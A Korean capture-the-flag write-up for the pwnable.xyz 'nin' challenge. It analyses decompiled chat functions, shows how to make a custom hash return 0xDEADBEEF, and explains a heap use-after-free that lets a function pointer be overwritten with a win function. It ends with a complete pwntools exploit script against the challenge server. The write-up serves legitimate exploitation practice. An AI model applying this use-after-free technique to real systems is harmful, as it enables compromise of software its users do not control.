문제 풀이 환경 : Ubuntu 16.04
📝 Analysis
<< Mitigation >>
<< Code >>
· do_chat
의미 있는 코드는 이 함수에서 시작한다.
여기서 포인트는 __fastcall 어쩌고저쩌고 되어 있는 줄이다.
포인트인 이유는 __fastcall 부분은 어셈으로 봤을 때 특정 부분을 call rax 이런 식으로 부르니 win 함수를 부를 수 있게 하는 가장 쉬운 부분이기 때문이다.
그렇기 때문에 힙 청크의 구조를 잘 살펴보고 익스해보자.
· invite_reznor
do_chat 함수에서 v0 변수에 값이 없을 때 초기화해주는 함수다.
malloc으로 0x20 크기의 청크를 할당한다. 데이터는 [strdup 리턴 청크 주소] [answer_me 주소]의 구조를 가진다.
위의 do_chat 코드를 다시 보면 [answer_me 주소]의 부분의 값을 call 하는 걸 보아 여기가 win 함수의 주소로 덮어야 한다는 걸 추측할 수 있다.
· answer_me
unsigned __int64 __fastcall answer_me(void **a1, const char *a2)
{
int nbytes[3]; // [rsp+1Ch] [rbp-24h] BYREF
const void *hash; // [rsp+28h] [rbp-18h]
char *v5; // [rsp+30h] [rbp-10h]
unsigned __int64 v6; // [rsp+38h] [rbp-8h]
v6 = __readfsqword(0x28u);
if ( !strcmp(a2, "/gift\n")
&& (nbytes[0] = 0,
puts("Oh you wanna bribe him?"),
printf("Ok, how expensive will your gift be: "),
__isoc99_scanf("%ud", nbytes),
nbytes[0]) )
{
*(_QWORD *)&nbytes[1] = malloc((unsigned int)(nbytes[0] + 1));
memset(*(void **)&nbytes[1], 0, (unsigned int)(nbytes[0] + 1));
printf("Enter your gift: ");
read(0, *(void **)&nbytes[1], (unsigned int)nbytes[0]);
hash = (const void *)hash_gift(*(__int64 *)&nbytes[1], nbytes[0]);
printf("Trent doesn't look impressed and swallows %p\n", hash);// hash pointer leak
if ( hash == (const void *)0xDEADBEEFLL )
{
puts("The color of his head turns blue...");
puts("Trent Reznor flips the table and raqequits...");
puts("@trent has left #ota_chat (Client disconnected...)");
free(*a1);
free(a1);
}
else
{
printf("Didn't seem to be tasty...\n");
}
}
else
{
v5 = (&answers)[rand() % 10];
printf("@trent> %s\n", v5);
}
return __readfsqword(0x28u) ^ v6;
}
이 프로그램의 핵심 동작 함수다.
채팅으로 '/gift\n'를 입력하면 간단한 문제(hash_gift)를 풀 수 있고 결괏값으로 0xDEADBEEF가 나온다면 free를 호출할 수 있다.
딱 봐도 힙 익스를 유도하는 문제라는 것을 알 수 있다.
· hash_gift
문제 푸는 시간을 좀 늘리고 싶었던 것인지 이런 걸 넣어놓은 느낌을 많이 받았다.
간단히 설명하자면 입력 길이의 앞의 절반을 다 더한 값과 뒤 절반을 다 더한 값을 각각 구한 뒤, 32bit의 앞뒤 각각 16bit씩 차지하게 그 값을 설정하는 함수다.
0xDEADBEEF를 만들고자 한다면 0xDEAD, 0xBEEF 두 부분으로 생각해서 각각의 합과 패딩(padding)을 적절히 활용하면 간단히 만들 수 있다. (결과는 익스 코드에)
✨ Thinking
프로그램이 진행되는 동안 힙에서 일어나는 일을 이해한다면 이 문제는 쉽게 풀 수 있다.
invite_reznor 함수가 불린 후 힙의 상황은 다음과 같다.
이후 hash_gift 함수의 리턴값으로 0xDEADBEEF를 만드는 것에 성공해서 free를 2개 부른다면 위의 두 청크는 사이즈에 맞게 각 fast bin에 들어가게 될 것이다.
다시 do_chat 함수로 돌아오게 됐을 때는 v0에 이미 init chunk의 주소가 들어가 있는 상태라 invite_reznor 함수가 불리지 않는다.
문제는 answer_me를 다시 부른 후에 malloc을 하게 될 텐데 할당할 사이즈를 내가 정할 수 있으니 사이즈로 0x1f로 준다면 +1된 사이즈인 0x20에 헤더까지 포함한 0x30을 할당하면서 nbytes[1]에 저장된 주소와 do_chat의 v0에 저장된 주소가 같게 된다.
여기서 UAF 취약점이 터지니 값을 수정해줄 수 있고 win 함수를 부를 수 있게 만들어주면 끝난다.
🚩 Flag 🚩
from pwn import *
# context.log_level = 'debug'
# p = process('./nin')
p = remote('svc.pwnable.xyz', 30034)
e = ELF('./nin')
p.sendafter(b'@you> ', b'/gift\n')
beef = b'\xff' * 191 + b'\xae'
dead = b'\xff' * 223 + b'\x8c'
gift = dead + beef + b'\x00' * (len(dead) - len(beef))
p.sendlineafter(b'be: ', str(len(gift)))
p.sendafter(b'gift: ', gift)
p.sendafter(b'@you> ', b'/gift\n')
p.sendlineafter(b'be: ', str(0x1f).encode())
p.sendafter(b'gift: ', p64(0) + p64(e.sym['win']) + b'A' * 0x10)
p.sendafter(b'@you> ', b'A')
p.interactive()